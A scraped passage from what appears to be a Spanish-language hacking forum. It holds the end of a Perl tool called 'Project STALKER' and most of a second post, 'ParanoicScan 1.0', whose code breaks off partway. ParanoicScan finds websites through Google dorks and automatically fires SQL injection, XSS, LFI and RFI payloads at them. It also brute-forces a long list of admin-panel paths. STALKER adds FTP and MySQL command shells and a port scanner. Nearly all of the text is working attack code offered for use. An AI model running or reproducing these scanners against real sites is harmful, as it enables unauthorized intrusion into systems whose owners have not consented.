  987. if ($socket->rename($1,$2)) {
  988. print "[+] File Updated\n";
  989. } else {
  990. print "\n\n[-] Error\n\n";
  991. }
  992. }
  993.  
  994. if ($cmd=~/mkdir (.*)/ig) {
  995. if ($socket->mkdir($1)) {
  996. print "\n\n[+] Directory created\n";
  997. } else {
  998. print "\n\n[-] Error\n\n";
  999. }
  1000. }
  1001.  
  1002. if ($cmd=~/rmdir (.*)/ig) {
  1003. if ($socket->rmdir($1)) {
  1004. print "\n\n[+] Directory deleted\n";
  1005. } else {
  1006. print "\n\n[-] Error\n\n";
  1007. }
  1008. }
  1009.  
  1010. if ($cmd=~/exit/ig) {
  1011. next;
  1012. }
  1013.  
  1014. if ($cmd=~/get (.*) (.*)/ig) {
  1015. print "\n\n[+] Downloading file\n\n";
  1016. if ($socket->get($1,$2)) {
  1017. print "[+] Download completed";
  1018. } else {
  1019. print "\n\n[-] Error\n\n";
  1020. }
  1021. }
  1022.  
  1023. if ($cmd=~/put (.*) (.*)/ig) {
  1024. print "\n\n[+] Uploading file\n\n";
  1025. if ($socket->put($1,$2)) {
  1026. print "[+] Upload completed";
  1027. } else {
  1028. print "\n\n[-] Error\n\n";
  1029. }
  1030. }
  1031.  
  1032. if ($cmd=~/quit/) {
  1033. next;
  1034. }
  1035.  
  1036. goto menu;
  1037.  
  1038. } else {
  1039. print "\n[-] Failed the login\n\n";
  1040. }
  1041.  
  1042. } else {
  1043. print "\n\n[-] Error\n\n";
  1044. }
  1045.  
  1046.  
  1047.  
  1048. }
  1049.  
  1050.  
  1051. sub scanpaths {
  1052.  
  1053. my $urla = $_[0];
  1054.  
  1055. print "\n[+] Find paths in $urla\n\n\n";
  1056. my @urls = repes(get_links(toma($urla)));
  1057. for $url(@urls) {
  1058. my $web = $url;
  1059. my ($scheme, $auth, $path, $query, $frag)  = uri_split($url);
  1060. if ($_[0] =~/$auth/ or $auth eq "") {
  1061. if ($path=~/(.*)\/(.*)\.(.*)$/) {
  1062. my $borrar = $2.".".$3;
  1063. if ($web=~/(.*)$borrar/) {
  1064. my $co = $1;
  1065. unless ($co=~/$auth/) {
  1066. $co = $urla.$co;
  1067. }
  1068. $code = toma($co);
  1069. if ($code=~/Index Of/ig) {
  1070. print "[Link] : ".$co."\n";
  1071. saveyes("logs/paths-found.txt",$co);
  1072. }}}}}}
  1073.  
  1074.  
  1075. sub scanport {
  1076.  
  1077. my %ports = ("21"=>"ftp",
  1078. "22"=>"ssh",
  1079. "25"=>"smtp",
  1080. "80"=>"http",
  1081. "110"=>"pop3",
  1082. "3306"=>"mysql"
  1083. );
  1084.  
  1085.  
  1086. print "[+] Scanning $_[0]\n\n\n";
  1087.  
  1088. for my $port(keys %ports) {
  1089.  
  1090. if (new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $port,Proto => "tcp",Timeout  => 0.5)) {
  1091. print "[Port] : ".$port." [Service] : ".$ports{$port}."\n";
  1092. }
  1093. }
  1094. print "\n\n[+] Finish\n";
  1095. }
  1096.  
  1097.  
  1098. sub scanpanel {
  1099. print "[+] Scanning $_[0]\n\n\n";
  1100. for $path(@panels) {
  1101. $code = tomax($_[0]."/".$path);
  1102. if ($code->is_success) {
  1103. print "[Link] : ".$_[0]."/".$path."\n";
  1104. saveyes("logs/panel-logs.txt",$_[0]."/".$path);
  1105. }
  1106. }
  1107. print "\n\n[+] Finish\n";
  1108. }
  1109.  
  1110. sub google {
  1111. my($a,$b) = @_;
  1112. for ($pages=10;$pages<=$b;$pages=$pages+10) {
  1113. $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
  1114. my @links = get_links($code);
  1115. for my $l(@links) {
  1116. if ($l =~/webcache.googleusercontent.com/) {
  1117. push(@url,$l);
  1118. }
  1119. }
  1120. }
  1121.  
  1122. for(@url) {
  1123. if ($_ =~/cache:(.*?):(.*?)\+/) {
  1124. push(@founds,$2);
  1125. }
  1126. }
  1127.  
  1128. my @founds = repes(@founds);
  1129.  
  1130. return @founds;
  1131. }
  1132.  
  1133.  
  1134. sub sql {
  1135.  
  1136. my ($pass1,$pass2) = ("+","--");
  1137. my $page = shift;
  1138. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  1139. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  1140. print "[+] SQLI : $page\a\n";
  1141. saveyes("logs/sql-logs.txt",$page);
  1142. }}
  1143.  
  1144. sub get_links {
  1145.  
  1146. $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
  1147. return @links;
  1148.  
  1149. sub agarrar {
  1150. my ($a,%b) = @_;
  1151. push(@links,values %b);
  1152. }
  1153. }
  1154.  
  1155. sub repes {
  1156. foreach $test(@_) {
  1157. push @limpio,$test unless $repe{$test}++;
  1158. }
  1159. return @limpio;
  1160. }
  1161.  
  1162. sub head {
  1163. cprint "\x0311"; #13
  1164. print "\n\n-- == Project STALKER == --\n\n";
  1165. cprint "\x030";
  1166. }
  1167.  
  1168. sub copyright {
  1169. cprint "\x0311"; #13
  1170. print"\n\n(C) Doddy Hackman 2011\n\n";
  1171. cprint "\x030";
  1172. }
  1173.  
  1174. sub toma {
  1175. return $nave->get($_[0])->content;
  1176. }
  1177.  
  1178. sub tomax {
  1179. return $nave->get($_[0]);
  1180. }
  1181.  
  1182. sub tomar {
  1183. my ($web,$var) = @_;
  1184. return $nave->post($web,[%{$var}])->content;
  1185. }
  1186.  
  1187.  
  1188. sub conectar {
  1189.  
  1190. my $sockex = new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $_[1],
  1191. Proto => "tcp",Timeout  => 5);
  1192.  
  1193. print $sockex $_[2]."\r\n";
  1194. $sockex->read($re,5000);
  1195. $sockex->close;
  1196. return $re."\r\n";
  1197. }
  1198.  
  1199.  
  1200. sub enter {
  1201.  
  1202. my ($host,$user,$pass) = @_;
  1203.  
  1204. print "[+] Connecting to the server\n";
  1205.  
  1206. $info = "dbi:mysql::".$host.":3306";
  1207. if (my $enter = DBI->connect($info,$user,$pass,{PrintError=>0})) {
  1208.  
  1209. print "\n[+] Enter in the database";
  1210.  
  1211. while(1) {
  1212. print "\n\n\n[+] Query : ";
  1213. chomp(my $ac = <stdin>);
  1214.  
  1215. if ($ac eq "exit") {
  1216. $enter->disconnect;
  1217. print "\n\n[+] Closing connection\n\n";
  1218. last;
  1219. }
  1220.  
  1221. $re = $enter->prepare($ac);
  1222. $re->execute();
  1223. my $total = $re->rows();
  1224.  
  1225. my @columnas = @{$re->{NAME}};
  1226.  
  1227. if ($total eq "-1") {
  1228. print "\n\n[-] Query Error\n";
  1229. next;
  1230. } else {
  1231. print "\n\n[+] Result of the query\n";
  1232. if ($total eq 0) {
  1233. print "\n\n[+] Not rows returned\n\n";
  1234. } else {
  1235. print "\n\n[+] Rows returned : ".$total."\n\n\n";
  1236. for(@columnas) {
  1237. print $_."\t\t";
  1238. }
  1239. print "\n\n";
  1240. while (@row = $re->fetchrow_array) {
  1241. for(@row) {
  1242. print $_."\t\t";
  1243. }
  1244. print "\n";
  1245. }}}}
  1246. } else {
  1247. print "\n[-] Error connecting\n";
  1248. }}
  1249.  
  1250. sub encode {
  1251. my $string = $_[0];
  1252. $hex = '0x';
  1253. for (split //,$string) {
  1254. $hex .= sprintf "%x", ord;
  1255. }
  1256. return $hex;
  1257. }
  1258.  
  1259. sub saveyes {
  1260. open (SAVE,">>".$_[0]);
  1261. print SAVE $_[1]."\n";
  1262. close SAVE;
  1263. }
  1264.  
  1265. sub savefile {
  1266. open (SAVE,">>logs/webs/".$_[0]);
  1267. print SAVE $_[1]."\n";
  1268. close SAVE;
  1269. }
  1270.  
  1271. sub coleccionar {
  1272. opendir DIR,$_[0];
  1273. my @archivos = readdir DIR;
  1274. close DIR;
  1275. return @archivos;
  1276. }
  1277.  
  1278. sub helpme {
  1279.  
  1280. cprint "\x0310"; #13
  1281. print qq(
  1282.  
  1283. Commands :
  1284.  
  1285.  
  1286. getip <host>
  1287. getlink <page>
  1288. getprocess
  1289. killprocess <name process> <pid process>
  1290. conec <host> <port> <command>  
  1291. allow <host>
  1292. paths <page>
  1293. encodehex <text>
  1294. decodehex <text>
  1295. encodeascii <text>
  1296. decodeascii <text>
  1297. encodebase <text>
  1298. decodebase <text>
  1299. scanport <host>
  1300. panel <page>
  1301. getpass <hash>
  1302. kobra <page>
  1303. ftp <host> <user> <pass>
  1304. mysql <host> <user> <pass>
  1305. navegator
  1306. scangoogle
  1307. help
  1308. exit
  1309. );
  1310. cprint "\x030";
  1311. }
  1312.  
  1313. #
  1314. #  The End ?
  1315. #
  1316.  
436  Programación / Scripting / [Perl] ParanoicScan 1.0 en: 3 Diciembre 2011, 16:32 pm
Lo mismo que la anterior version solo se le agrego
un buscado de paneladmin y una nueva opcion para buscar listado de directorios en las paginas que estamos escaneando

Código
  1. #!usr/bin/perl
  2. #Paranoic Scan 1.0 Updated
  3. #(c)0ded by Doddy H 2011
  4. #
  5. #Search in google with a dork
  6. #Scan type :
  7. #
  8. #XSS
  9. #Full Source Discloure
  10. #LFI
  11. #RFI
  12. #SQL GET & POST + admin
  13. #Directory listing
  14. #MSSQL
  15. #Oracle
  16. #Jet Database
  17. #Find HTTP Options y Server nAME
  18. #
  19. #
  20.  
  21. use LWP::UserAgent;
  22. use HTML::LinkExtor;
  23. use HTML::Form;
  24. use URI::Split qw(uri_split);
  25. use IO::Socket;
  26.  
  27.  
  28. my @panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx'
  29. ,'admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx'
  30. ,'asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx'
  31. ,'asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx'
  32. ,'admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx'
  33. ,'login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx'
  34. ,'administracion/index.asp','administracion/index.aspx','administracion/login.asp'
  35. ,'administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx'
  36. ,'administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php'
  37. ,'admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php'
  38. ,'admin/administrador.php','admin/default.php','administracion/','administracion/index.php'
  39. ,'administracion/login.php','administracion/ingresar.php','administracion/admin.php'
  40. ,'administration/','administration/index.php','administration/login.php'
  41. ,'administrator/index.php','administrator/login.php','administrator/system.php','system/'
  42. ,'system/login.php','admin.php','login.php','administrador.php','administration.php'
  43. ,'administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php'
  44. ,'yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html'
  45. ,'admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html'
  46. ,'admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html'
  47. ,'administrator/','administrator/index.html','administrator/login.html'
  48. ,'administrator/account.html','administrator/account.php','administrator.html','login.html'
  49. ,'modelsearch/login.php','moderator.php','moderator.html','moderator/login.php'
  50. ,'moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/'
  51. ,'account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html'
  52. ,'admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp'
  53. ,'admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp'
  54. ,'admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp'
  55. ,'administrator/login.asp','administrator/account.asp','administrator.asp'
  56. ,'modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp'
  57. ,'account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/'
  58. ,'fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php'
  59. ,'sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp'
  60. ,'ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html'
  61. ,'Server.asp','Server/','wp-admin/','administr8.php','administr8.html'
  62. ,'administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp'
  63. ,'webadmin.html','administratie/','admins/','admins.php','admins.asp'
  64. ,'admins.html','administrivia/','Database_Administration/','WebAdmin/'
  65. ,'useradmin/','sysadmins/','admin1/','system-administration/','administrators/'
  66. ,'pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/'
  67. ,'administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/'
  68. ,'cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/
  69. ','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/
  70. ','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/
  71. ','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/
  72. ','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/'
  73. ,'project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/'
  74. ,'wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/'
  75. ,'Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/'
  76. ,'irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/'
  77. ,'administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/'
  78. ,'Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/'
  79. ,'cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/'
  80. ,'server/','database_administration/','power_user/','system_administration/'
  81. ,'ss_vms_admin_sm/');
  82.  
  83. my $nave = LWP::UserAgent->new;
  84. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  85. $nave->timeout(5);
  86.  
  87. installer();
  88.  
  89. sta();
  90.  
  91. sub sta {
  92. sub head {
  93. system 'cls';
  94.  
  95.  
  96. @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
  97. @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
  98. @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
  99. @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
  100. @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
  101. @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
  102. @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @
  103.  
  104.  
  105.  
  106.  
  107. );
  108. }
  109. &menu;
  110. sub menu {
  111. &head;
  112. print "[a] : Scan a File\n";
  113. print "[b] : Search in google and scan the webs\n\n";
  114. print "[option] : ";
  115. chomp(my $op = <STDIN>);
  116. if ($op =~/a/ig) {
  117. print "\n[+] Wordlist : ";
  118. chomp(my $word = <STDIN>);
  119. my @paginas = repes(cortar(savewords($word)));
  120. my $option = &men;
  121. print "\n\n[+] Opening File\n";
  122. scan($option,@paginas);
  123. }
  124. elsif ($op=~/b/ig) {
  125. print "\n[+] Dork : ";
  126. chomp(my $dork = <STDIN>);
  127. print "[+] Pages : ";
  128. chomp(my $pag = <STDIN>);
  129. my $option = &men;
  130. print "\n\n[+] Searching in google\n";
  131. my @paginas = &google($dork,$pag);
  132. scan($option,@paginas);
  133. }
  134. else {
  135. &menu;
  136. }
  137. }
  138. sub scan {
  139. my ($option,@webs) = @_;
  140. print "\n\n[Status] : Scanning\n";
  141. print "[Webs Count] : ".int(@webs)."\n\n";
  142. for(@webs) {
  143. if ($option=~/S/ig) {
  144. scansql($_);
  145. }
  146. if ($option=~/K/ig) {
  147. sql($_);
  148. }
  149. if ($option=~/Q/ig) {
  150. sqladmin($_);
  151. }
  152. if ($option=~/Y/ig) {
  153. simple($_);
  154. }
  155. if ($option=~/L/ig) {
  156. lfi($_);
  157. }
  158. if ($option=~/R/ig) {
  159. rfi($_);
  160. }
  161. if ($option=~/F/ig) {
  162. fsd($_);
  163. }
  164. if ($option=~/X/ig) {
  165. scanxss($_);
  166. }
  167. if ($option=~/M/ig) {
  168. mssql($_);
  169. }
  170. if ($option=~/J/ig) {
  171. access($_);
  172. }
  173. if ($option=~/O/ig) {
  174. oracle($_);
  175. }
  176. if ($option=~/HT/ig) {
  177. http($_);
  178. }
  179. if ($option=~/A/ig) {
  180. scansql($_);
  181. scanxss($_);
  182. mssql($_);
  183. access($_);
  184. oracle($_);
  185. lfi($_);
  186. rfi($_);
  187. fsd($_);
  188. http($_);
  189. }
  190. }
  191. }
  192. print "\n\n[Status] : Finish\n";
  193. &finish;
  194. }
  195.  
  196. sub toma {
  197. return $nave->get($_[0])->content;
  198. }
  199.  
  200. sub tomaz {
  201. return $nave->get($_[0]);
  202. }
  203.  
  204. sub savefile {
  205. open(SAVE,">>logs/".$_[0]);
  206. print SAVE $_[1]."\n";
  207. close SAVE;
  208. }
  209.  
  210. sub finish {
  211. print "\n\n\n(C) Doddy Hackman 2010\n\n";
  212. <STDIN>;
  213. sta();
  214. }
  215.  
  216. sub google {
  217. my($a,$b) = @_;
  218. for ($pages=10;$pages<=$b;$pages=$pages+10) {
  219. $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
  220. my @links = get_links($code);
  221. for my $l(@links) {
  222. if ($l =~/webcache.googleusercontent.com/) {
  223. push(@url,$l);
  224. }
  225. }
  226. }
  227.  
  228. for(@url) {
  229. if ($_ =~/cache:(.*?):(.*?)\+/) {
  230. push(@founds,$2);
  231. }
  232. }
  233.  
  234. my @founds = repes(cortar(@founds));
  235. return @founds;
  236. }
  237.  
  238. sub sql {
  239. my ($pass1,$pass2) = ("+","--");
  240. my $page = shift;
  241. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  242. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  243. print "[+] SQLI : $page\a\n";
  244. savefile("sql-logs.txt",$page);
  245. }}
  246.  
  247. sub sqladmin {
  248. my ($pass1,$pass2) = ("+","--");
  249. my $page = shift;
  250. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  251. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  252. print "\n[+] SQLI : $page\a\n";
  253. savefile("sql-logs.txt",$page);
  254.  
  255. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  256.  
  257. my $fage = "http://".$auth;
  258.  
  259. for $path(@panels) {
  260. $code = tomaz($fage."/".$path);
  261. if ($code->is_success) {
  262. print "[+] Link : ".$fage."/".$path."\n";
  263. savefile("admin-logs.txt",$fage."/".$path);
  264. }}}}
  265.  
  266. sub http {
  267.  
  268. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  269.  
  270. my $socket = IO::Socket::INET->new(
  271. PeerAddr=>$auth,
  272. PeerPort=>"80",
  273. Proto=>"tcp");
  274.  
  275. print $socket "OPTIONS  / HTTP/1.0\r\n\r\n";
  276. read $socket,$resultado,"1000";
  277.  
  278. if ($resultado=~/Server:(.*)/g) {
  279. my $server = $1;
  280.  
  281. savefile("http-logs.txt","[+] Page : $auth"."\n");
  282. savefile("http-logs.txt","[+] Server : ".$server."\n");
  283. }
  284. if ($resultado=~/Allow: (.*)/g) {
  285. my $options = $1;
  286. savefile("http-logs.txt","[+] Options : ".$options."\n");
  287. }
  288. $socket->close;
  289. }
  290.  
  291. sub scanxss {
  292.  
  293. my $page = shift;
  294. chomp $page;
  295.  
  296. my @testar = HTML::Form->parse(toma($page),"/");
  297. my @botones_names;
  298. my @botones_values;
  299. my @orden;
  300. my @pa = ("<script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>",'"><script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>');
  301. my @get_founds;
  302. my @post_founds;
  303. my @ordenuno;
  304. my @ordendos;
  305.  
  306. my $contador_forms = 0;
  307.  
  308. my $valor = "doddyhackman";
  309.  
  310. for my $test(@testar) {
  311. $contador_forms++;
  312. if ($test->method eq "POST") {
  313. my @inputs = $test->inputs;
  314. for my $in(@inputs) {
  315. if ($in->type eq "submit") {
  316. if ($in->name eq "") {
  317. push(@botones_names,"submit");
  318. }
  319. push(@botones_names,$in->name);
  320. push(@botones_values,$in->value);
  321. } else {
  322. push(@ordenuno,$in->name,$pa[0]);
  323. push(@ordendos,$in->name,$pa[1]);
  324. }}
  325.  
  326. for my $n(0..int(@botones_names)-1) {
  327. my @preuno = @ordenuno;
  328. my @predos = @ordendos;
  329. push(@preuno,$botones_names[$n],$botones_values[$n]);
  330. push(@predos,$botones_names[$n],$botones_values[$n]);
  331.  
  332. my $codeuno = $nave->post($page,\@preuno)->content;
  333. my $codedos = $nave->post($page,\@predos)->content;
  334. if ($codeuno=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig or
  335. $codedos=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig) {
  336. if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
  337. push(@post_founds,$contador_forms);
  338. } else {
  339. push(@post_founds,$test->attr(name));
  340. }}}
  341. } else { #Fin de metodo POST
  342. my @inputs = $test->inputs;
  343. for my $in(@inputs) {
  344. if ($in->type eq "submit") {
  345. if ($in->name eq "") {
  346. push(@botones_names,"submit");
  347. }
  348. push(@botones_names,$in->name);
  349. push(@botones_values,$in->value);
  350. } else {
  351. $orden.=''.$in->name.'='.$valor.'&';
  352. }}
  353. chop($orden);
  354. for my $n(0..int(@botones_names)-1) {
  355. my $partedos = "&".$botones_names[$n]."=".$botones_values[$n];
  356. my $final = $orden.$partedos;
  357. for my $strin(@pa) {
  358. chomp $strin;
  359. $final=~s/doddyhackman/$strin/;
  360. $code = toma($page."?".$final);
  361. my $strin = "\Q$strin\E";
  362. if ($code=~/$strin/) {
  363. push(@get_founds,$page."?".$final);
  364. }}}}}
  365.  
  366. my @get_founds = repes(@get_founds);
  367. if (int(@get_founds) ne 0) {
  368. for(@get_founds) {
  369. savefile("xss-logs.txt","[+] XSS Found : $_");
  370. print "[+] XSS Found : $_\n\a";
  371. }}
  372.  
  373. my @post_founds = repes(@post_founds);
  374. if (int(@post_founds) ne 0) {
  375. for my $t(@post_founds) {
  376. if ($t =~/^\d+$/) {
  377. savefile("xss-logs.txt","[+] XSS : Form $t in $page");
  378. print "[+] XSS : Form $t in $page\n\a";
  379. }}}}
  380.  
  381.  
  382. sub simple {
  383.  
  384. my $code  = toma($_[0]);
  385. my @links = get_links($code);
  386.  
  387. for my $com (@links) {
  388. my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
  389. if ( $path =~ /\/(.*)$/ ) {
  390. my $path1 = $1;
  391. $_[0] =~ s/$path1//ig;
  392. my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
  393. if ( $path =~ /(.*)\// ) {
  394. my $parche = $1;                                
  395. unless($repetidos=~/$parche/){
  396. $repetidos.=" ".$parche;
  397. my $code=toma("http://".$auth.$parche);    
  398. if ($code =~ /Index of (.*)</ig ) {
  399. my $dir_found = $1;
  400. chomp $dir_found;
  401. print "[+] Directory Found : "."http://".$auth.$parche."\n";
  402. savefile("dir-logs.txt","[+] Directory Found : "."http://".$auth.$parche);
  403. }}}}}}
  404.  
  405. sub scansql {
  406.  
  407. my $page = shift;
  408. my $copia = $page;
  409.  
  410. $co = toma($page."'");
  411.  
  412. if ($co=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $co=~ /mysql_free_result/ig || $co =~ /mysql_fetch_assoc/ig ||$co =~ /mysql_num_rows/ig || $co =~ /mysql_fetch_array/ig || $co =~/mysql_fetch_assoc/ig || $co=~/mysql_query/ig || $co=~/mysql_free_result/ig || $co=~/equivocado en su sintax/ig || $co=~/You have an error in your SQL syntax/ig || $co=~/Call to undefined function/ig) {
  413. savefile("sql-logs.txt","[+] SQL : $page");
  414. print "[+] SQLI : $page\a\n";
  415. } else {
  416.  
  417. if ($page=~/(.*)\?(.*)/) {
  418. my $page = $1;
  419.  
  420. my @testar = HTML::Form->parse(toma($page),"/");
  421. my @botones_names;
  422. my @botones_values;
  423. my @orden;
  424. my @get_founds;
  425. my @post_founds;
  426. my @ordenuno;
  427. my @ordendos;
  428.  
  429. my $contador_forms = 0;
  430.  
  431. my $valor = "doddyhackman";
  432.  
  433. for my $test(@testar) {
  434. $contador_forms++;
  435. if ($test->method eq "POST") {
  436. my @inputs = $test->inputs;
  437. for my $in(@inputs) {
  438. if ($in->type eq "submit") {
  439. if ($in->name eq "") {
  440. push(@botones_names,"submit");
  441. }
  442. push(@botones_names,$in->name);
  443. push(@botones_values,$in->value);
  444. } else {
  445. push(@ordenuno,$in->name,"'");
  446. }}
  447.  
  448. for my $n(0..int(@botones_names)-1) {
  449. my @preuno = @ordenuno;
  450. push(@preuno,$botones_names[$n],$botones_values[$n]);
  451. my $code = $nave->post($page,\@preuno)->content;
  452. if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
  453. if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
  454. push(@post_founds,$contador_forms);
  455. } else {
  456. push(@post_founds,$test->attr(name));
  457. }}}}
  458.  
  459. my @post_founds = repes(@post_founds);
  460. if (int(@post_founds) ne 0) {
  461. for my $t(@post_founds) {
  462. if ($t =~/^\d+$/) {
  463. savefile("sql-logs.txt","[+] SQLI : Form $t in $page");
  464. print "[+] SQLI : Form $t in $page\n\a";
  465. }}}}}}}
  466.  
  467. sub access {
  468.  
  469. my $page = shift;
  470. $code1 = toma($page."'");
  471. if ($code1=~/Microsoft JET Database/ig or $code1=~/ODBC Microsoft Access Driver/ig) {
  472. print "[+] Jet DB : $page\a\n";
  473. savefile("jetdb-logs.txt",$page);
  474. }
  475. }
  476.  
  477. sub mssql {
  478.  
  479. my $page = shift;
  480. $code1 = toma($page."'");
  481. if ($code1=~/ODBC SQL Server Driver/ig) {
  482. print "[+] MSSQL : $page\a\n";
  483. savefile("mssql-logs.txt",$page);
  484. }
  485. }
  486.  
  487. sub oracle {
  488.  
  489. my $page = shift;
  490. $code1 = toma($page."'");
  491. if ($code1=~/Microsoft OLE DB Provider for Oracle/ig) {
  492. print "[+] Oracle : $page\a\n";
  493. savefile("oracle-logs.txt",$page);
  494. }
  495. }
  496.  
  497. sub rfi {
  498. my $page = shift;
  499. $code1 = toma($page."http:/www.supertangas.com/");
  500. if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
  501. print "[+] RFI : $page\a\n";
  502. savefile("rfi-logs.txt",$page);
  503. }}
  504.  
  505. sub lfi {
  506. my $page = shift;
  507. $code1 = toma($page."'");
  508. if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  509. print "[+] LFI : $page\a\n";
  510. savefile("lfi-logs.txt",$page);
  511. }}
  512.  
  513. sub fsd {
  514. my $page = shift;
  515. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  516. if ($path=~/\/(.*)$/) {
  517. my $me = $1;
  518. $code1 = toma($page.$me);
  519. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  520. print "[+] Full Source Discloure : $page\a\n";
  521. savefile("fpd-logs.txt",$page);
  522. }}}
  523.  
  524. sub repes {
  525. my @limpio;
  526. foreach $test(@_) {
  527. push @limpio,$test unless $repe{$test}++;
  528. }
  529. return @limpio;
  530. }
  531.  
  532. sub savewords {
  533. open(FILE,$_[0]);
  534. @words = <FILE>;
  535. close FILE;
  536. for(@words) {
  537. push(@r,$_);
  538. }
  539. return(@r);
  540. }
  541.  
  542. sub men {
  543. print "\n\n[+] Scan Type : \n\n";
  544. print "[X] : XSS\n";
  545. print "[S] : SQL GET/POST\n";#
  546. print "[K] : SQL GET\n";
  547. print "[Q] : SQL GET + Admin\n";
  548. print "[Y] : Directory listing\n";#
  549. print "[M] : MSSQL\n";
  550. print "[J] : Jet Database\n";
  551. print "[O] : Oracle\n";
  552. print "[L] : LFI\n";
  553. print "[R] : RFI\n";
  554. print "[F] : Full Source Discloure\n";
  555. print "[HT] : HTTP Information\n";
  556. print "[A] : All\n\n";
  557. print "\n[Options] : ";
  558. chomp(my $option = <STDIN>);
  559. return $option;
  560. }
  561.  
  562. sub cortar {
  563. my @nuevo;
  564. for(@_) {
  565. if ($_ =~/=/) {
  566. @tengo = split("=",$_);
  567. push(@nuevo,@tengo[0]."=");
  568. } else {
  569. push(@nuevo,$_);
  570. }}
  571. return @nuevo;
  572. }
  573.  
  574. sub get_links {
  575.  
  576. $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
  577. return @links;
  578.  
  579. sub agarrar {
  580. my ($a,%b) = @_;
  581. push(@links,values %b);
  582. }
  583. }
  584.  
  585.  
  586. sub installer {
  587. unless (-d "logs/") {
